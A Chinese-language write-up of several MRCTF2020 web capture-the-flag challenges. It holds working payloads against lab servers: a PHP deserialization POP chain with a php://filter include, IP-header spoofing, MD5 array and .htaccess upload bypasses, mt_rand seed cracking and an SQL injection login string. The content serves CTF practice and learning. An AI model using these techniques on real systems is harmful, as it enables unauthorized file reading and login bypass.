复现

MRCTF2020

刷

[MRCTF2020]Ezpop

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Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
  • 当您尝试访问一个未定义或不可见的类属性时，__get 方法会被自动调用
  • 当 PHP 需要将一个对象转换为字符串时，它会自动调用该对象的 __toString 方法
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<?php
class Modifier {
    protected  $var='php://filter/convert.base64-encode/resource=flag.php';

}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;

}
$a=new Show();
$a->source=new Show();       //触发__toString,单纯触发而已
$a->source->str=new Test();    
$a->source->str->p=new Modifier();     //触发__get
echo urlencode(serialize($a));
?>

[MRCTF2020]套娃

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<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

绕过一下,特殊字符都会被解析为_

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?b+u+p+t=23333%0a

?b.u.p.t=23333%0a

然后没思路了,抓包发现jother编码,控制台执行解码

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]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])

得到post me Merak

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<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

先把文件搞到手

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<?php
function change($v){ 
     
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    
    return $re; 
}

echo base64_encode(change('flag.php'));
?>

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Request:

GET /secrettw.php?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI= HTTP/1.1
Host: 86c7ab72-afd7-4d5d-8a4b-afe49e0cc77a.node5.buuoj.cn:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Client-IP:127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 127.0.0.1
Connection: close

就可以了,不同的是这里把xff过滤了,所以我们用Client-IP

[MRCTF2020]PYWebsite

扫描到了flag.php,然后发现也是可以访问,直接伪造IP即可

[MRCTF2020]Ez_bypass

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include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}

很简单直接秒了

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?id[]=1&gg[]=2
post:
passwd=1234567e

[MRCTF2020]你传你🐎呢

这道题一个.htaccess就绕过了,随便X,前面有类似题,所以就不写了

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/var/www/html/upload/8f8f31faffce6d5c065c2a48fd3bc595/poc.jpg succesfully uploaded!
/var/www/html/upload/8f8f31faffce6d5c065c2a48fd3bc595/.htaccess succesfully uploaded!

[MRCTF2020]Ezaudit

/www.zip

得到源码

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<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥，咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

算出公钥

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<?php
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  } 
$a=public_key();
echo $a;
?>
    //AH8LH9s6DdyvkZJ1

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<?php
function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
$a=private_key();
echo $a;
?>
    //It3I3H67YZf7

然后发现这个公钥和私钥不是一个东西嘛,那有个锤子,重新看代码利用了mt_rand

那么我们尝试脚本爆破出参数

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import requests
import random

dict1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
dict2='AH8LH9s6DdyvkZJ1'
response=""
for i in range(len(dict2)):
    for j in range(len(dict1)):
        if dict2[i] == dict1[j]:
            response+=str(j)+' '+str(j)+' '+'0'+' '+str(len(dict1)-1)+' '
            break

print(response)

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26 26 0 61 33 33 0 61 60 60 0 61 37 37 0 61 33 33 0 61 61 61 0 61 18 18 0 61 58 58 0 61 29 29 0 61 3 3 0 61 24 24 0 61 21 21 0 61 10 10 0 61 51 51 0 61 35 35 0 61 53 53 0 61

./php_mt_seed 26 26 0 61 33 33 0 61 60 60 0 61 37 37 0 61 33 33 0 61 61 61 0 61 18 18 0 61 58 58 0 61 29 29 0 61 3 3 0 61 24 24 0 61 21 21 0 61 10 10 0 61 51 51 0 61 35 35 0 61 53 53 0 61

种子为1495878104

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<?php
mt_srand(1495878104);
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }
function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
echo public_key()."\n";
echo private_key();
//AH8LH9s6DdyvkZJ1
//GNL2w8brUJwv
?>

密钥不对,但是方法肯定是对的,因为版本不同,这道题已经有些久远了,所以我这里爆破不出seed为相应版本

密钥为XuNhoueCDCGc

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http://ce163fab-388d-4b9a-832d-138823b3e947.node5.buuoj.cn:81/login.php

login=123&username=b&password=1' or '1&Private_key=3NxjlpuxSI5y

[MRCTF2020]Ezpop_Revenge

构造ssrf,并且其中是包含了soap原生类的使用

说实话不会

[MRCTF2020]Not So Web Application

这个连参考都没有

Php Ssrf

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